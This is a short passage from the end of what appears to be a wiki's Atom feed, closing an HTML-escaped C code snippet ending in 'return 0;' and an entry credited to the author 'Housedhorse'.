        &lt;br /&gt;
        return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
</feed>